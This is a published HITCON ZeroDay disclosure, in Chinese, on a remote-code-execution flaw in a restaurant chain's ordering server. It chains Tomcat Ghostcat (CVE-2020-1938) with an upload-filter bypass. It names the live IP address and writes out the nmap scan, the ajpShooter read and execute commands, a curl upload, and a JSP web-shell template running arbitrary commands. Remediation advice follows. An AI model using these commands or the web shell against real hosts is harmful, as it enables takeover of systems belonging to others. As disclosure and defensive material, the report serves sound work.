億品鍋 成大勝利店 點餐系統RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00975
  •  發信 Vendor: 億品鍋有限公司
  • Title: 億品鍋 成大勝利店 點餐系統RCE
  • Introduction: 系統開放了危險的服務,並且未對使用者操作進行有效身分驗證,導致RCE。

處理狀態

目前狀態

公開
Last Update : 2025/10/14
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/08/14 22:42:13 : 新提交 (由 Mars 更新此狀態)
  • 2025/08/14 23:44:42 : 新提交 (由 Mars 更新此狀態)
  • 2025/08/15 20:47:10 : 新提交 (由 Mars 更新此狀態)
  • 2025/08/19 16:55:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 16:00:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 16:00:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 16:00:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/14 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00975
  • 通報者:marskung (Mars)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

59.126.124.120:8080
59.126.124.120:80
59.126.124.120:8009

敘述

漏洞種類

億品鍋點餐系統存在Apache Tomcat AJP協議遠程代碼執行漏洞(CVE-2020-1938,也稱為Ghost Cat漏洞)。系統使用了過時的 tomcat 版本(6.0.35),並暴露了8009端口上的AJP服務,且未進行適當的存取控制,允許攻擊者未經身份驗證就能執行遠程代碼。

POC

使用 Nmap 掃描發現目標系統開放了8080、80、8009等 Port。

nmap -Pn -p 1-65535 59.126.124.120
Starting Nmap 7.95 ( https://nmap.org/ ) at 2025-08-11 10:27 CST
Nmap scan report for 59-126-124-120.hinet-ip.hinet.net (59.126.124.120)
Host is up (0.032s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
6850/tcp  open  iccrushmore
7070/tcp  open  realserver
7680/tcp  open  pando-pub
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
9012/tcp  open  unknown
9013/tcp  open  unknown
20933/tcp open  unknown
32835/tcp open  unknown
37526/tcp open  unknown
54950/tcp open  unknown
55536/tcp open  unknown
56565/tcp open  unknown
62885/tcp open  unknown
64528/tcp open  unknown

由 80 port 為 windows support 頁面得知使用之系統應為 windows。

圖片

由於 8009 port 為AJP,懷疑有 Ghost Cat漏洞。

查看 http://59.126.124.120:8080/docs/manager-howto.html,發現使用之tomcat為6.0.35,存在Ghost Cat 漏洞。

圖片

Ref:https://cnc.nptu.edu.tw/p/406-1007-106518,r870.php?Lang=zh-tw

利用 CVE-2020-1938 漏洞利用腳本,通過AJP協議存取伺服器中的檔案。

首先查看/WEB-INF/web.xml,發現伺服器應該正在運行一個檔案上傳的服務。

<servlet>
    <servlet-name>UploadFileServlet</servlet-name>
    <servlet-class>com.baiyi.order.servlet.UploadFileServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>UploadFileServlet</servlet-name>
    <url-pattern>/servlet/UploadFileServlet</url-pattern>
</servlet-mapping>

由於上xml已列出class位置,並且class應位於/WEB-INF/classes資料夾中,故直接存取/WEB-INF/classes/com/baiyi/order/servlet/UploadFileServlet.class

透過jadx查看,發現伺服器會主動刪除結尾非.png的檔案,但由於8009 port 有 Ghost Cat 漏洞,所以對於檔名或副檔名的防禦作用可說是完全沒有。

if (fileName != null && fileName.toLowerCase().endsWith(".png")) {
    //...
} else {
    fi.delete();
}

但不知是意外還是有意為之,又發現若黨名中不含_min會啟動檔案自毀程序,留下空檔案。主因是new FileOutputStream(out)在遇到已存在檔案時的預設行為是複寫,會將檔案內容清空。這時,fin = new FileInputStream(in);存取到的東西就剩EOF,導致留下一個空檔案。

// ...
// 假設 file1 和 file2 都是指向 ".../a.png" 的路徑字串
File in = new File(file1);
File out = new File(file2);
// ...
FileInputStream fin = null;
FileOutputStream fout = null;
try {
    if (in.isFile()) {
        try {
            fin = new FileInputStream(in);  // 關鍵程式碼 2:【衝突點】
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        try {
            fout = new FileOutputStream(out); // 關鍵程式碼 1:【毀滅點】
        } catch (FileNotFoundException e2) {
            e2.printStackTrace();
        }

        byte[] b = new byte[4096];
        while (true) {
            try {
                // 此時 fin 試圖從已被清空的 a.png 讀取,會立刻得到 -1 (EOF)
                int c = fin.read(b);
                if (c > 0) {
                    fout.write(b, 0, c);
                } else {
                    // 迴圈直接結束
                    fin.close();
                    fout.flush();
                    fout.close();
                    return true;
                }
// ...

由上可知,只要上傳一個檔名內含_min並且結尾為.png的檔案就可以通過驗證,存入伺服器。

又由

private String uploadPath = String.valueOf(BeanUtil.path) + File.separator + "tempimag" + File.separator;

得知,上傳後文件應存放於/tmpimag/中。

故: 8080 port有一個提供檔案上傳的路徑,並有做檔名篩選,須符合.png結尾以及檔名內含_min

接著嘗試隨意上傳一個內容只有a的檔案,發現可以正常閱讀。

圖片

接著上傳偽裝成png的jsp,並利用 ajpShooter.py 執行該png,

嘗試執行 hostname ,確認有回應。

圖片

執行 whoami /groups 發現目前是以管理員身分執行。

GROUP INFORMATION
-----------------

群組名稱                               類型       SID          屬性
====================================== ========== ============ ====================================
BUILTIN\Administrators                 別名       S-1-5-32-544 預設為啟用, 已啟用的群組, 群組擁有者
Everyone                               知名的群組 S-1-1-0      強制性群組, 預設為啟用, 已啟用的群組
NT AUTHORITY\Authenticated Users       知名的群組 S-1-5-11     強制性群組, 預設為啟用, 已啟用的群組
Mandatory Label\System Mandatory Level 標籤       S-1-16-16384

圖片

執行 whoami /priv 發現使用者有多個危險權限,包含可能導致進一步提權至SYSTEMSeImpersonatePrivilege,以及SeDebugPrivilege等。

特殊權限名稱                              描述                                       狀況
========================================= ========================================== ======
SeAssignPrimaryTokenPrivilege             取代處理程序等級權杖                       已停用
SeLockMemoryPrivilege                     鎖定記憶體中的分頁                         已啟用
SeIncreaseQuotaPrivilege                  調整處理程序的記憶體配額                   已停用
SeTcbPrivilege                            當成作業系統的一部分                       已啟用
SeSecurityPrivilege                       管理稽核及安全性記錄檔                     已停用
SeTakeOwnershipPrivilege                  取得檔案或其他物件的擁有權                 已停用
SeLoadDriverPrivilege                     載入及解除載入裝置驅動程式                 已停用
SeSystemProfilePrivilege                  監視系統效能                               已啟用
SeSystemtimePrivilege                     變更系統時間                               已停用
SeProfileSingleProcessPrivilege           監視單一處理程序                           已啟用
SeIncreaseBasePriorityPrivilege           增加排程優先順序                           已啟用
SeCreatePagefilePrivilege                 建立分頁檔                                 已啟用
SeCreatePermanentPrivilege                建立永久共用物件                           已啟用
SeBackupPrivilege                         備份檔案及目錄                             已停用
SeRestorePrivilege                        還原檔案及目錄                             已停用
SeShutdownPrivilege                       關閉系統                                   已停用
SeDebugPrivilege                          偵錯程式                                   已啟用
SeAuditPrivilege                          產生安全性稽核                             已啟用
SeSystemEnvironmentPrivilege              修改韌體環境值                             已停用
SeChangeNotifyPrivilege                   略過周遊檢查                               已啟用
SeUndockPrivilege                         從擴充座移除電腦                           已停用
SeManageVolumePrivilege                   執行磁碟區維護工作                         已停用
SeImpersonatePrivilege                    在驗證後模擬用戶端                         已啟用
SeCreateGlobalPrivilege                   建立通用物件                               已啟用
SeIncreaseWorkingSetPrivilege             增加處理程序工作組                         已啟用
SeTimeZonePrivilege                       變更時區                                   已啟用
SeCreateSymbolicLinkPrivilege             建立符號連結                               已啟用
SeDelegateSessionUserImpersonatePrivilege 為相同工作階段中的另一個使用者取得模擬權杖 已啟用

圖片

  • Commands used
python3 ajpShooter.py http://59.126.124.120/ 8009 /tempimag/${filename}_min.png read #讀檔
python3 ajpShooter.py http://59.126.124.120/ 8009 /tempimag/${filename}_min.png eval #執行

curl -F "file=@${filename}_min.png" http://59.126.124.120:8080/servlet/UploadFileServlet #上傳
  • .jsp template
<%@ page import="java.io.*" %>
<%
    String cmd = "${command}";
    Process p = Runtime.getRuntime().exec(cmd);
    InputStream is = p.getInputStream();
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    String line;
    out.println("<pre>");
    while((line = br.readLine()) != null) {
        out.println(line);
    }
    out.println("</pre>");
%>

修補建議

### Tomcat AJP 漏洞

這是導致 RCE 的核心問題。有以下二種解決方案可選:

1. 升級 Tomcat 版本
目前的 Tomcat 6.0.35 版本過於老舊(發布於 2011 年),已停止官方支援,存在大量已知漏洞。建議立即將其升級至官方支援的最新穩定版本,並定期更新到最新版本。
2. 直接停用 AJP 服務
如果您的系統架構中並未使用 AJP 協議,最簡單且最有效的方法就是直接關閉 AJP 服務。

### 檔案上傳漏洞

這同是導致 RCE 的核心問題之一,目前的伺服器檔案上傳 api 缺乏有效驗證,需進行以下改善。

1. 不信任任何使用者提供的檔名。
在儲存檔案時,應由伺服器生成一個隨機的、唯一的檔名(例如 UUID),以防止攻擊者預測檔案上傳後的路徑。
2. 為上傳功能加入身分驗證
增加身分驗證(如 Token),避免未經授權的使用者上傳檔案。

### 其他

1. 最小權限原則
Tomcat 服務目前以 `BUILTIN\Administrators`(管理員)身分執行,並擁有多種會對系統造成致命傷害之特權,這是極度危險的配置。應為 Tomcat 建立一個低權限的專用服務帳號,限制其對檔案系統的讀寫權限,避免一旦被攻陷就直接取得最高權限。

2. 修正檔案上傳邏輯
如非特殊防禦,修復因檔名不含 _min 而導致檔案內容清空的 Bug。

3. 關閉非必要 port
伺服器目前開啟了高達16個 port,絕大多數都應該被關閉,以將潛在的攻擊來源降到最低。

4. 關閉預設頁面
伺服器開啟了80 port的微軟支援頁面,8080 port 中 `/docs/`的 tomcat 支援以及`/manager/` 的預設頁面,皆可能讓攻擊者更加確定版本而量身訂做一套方法進行攻擊。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;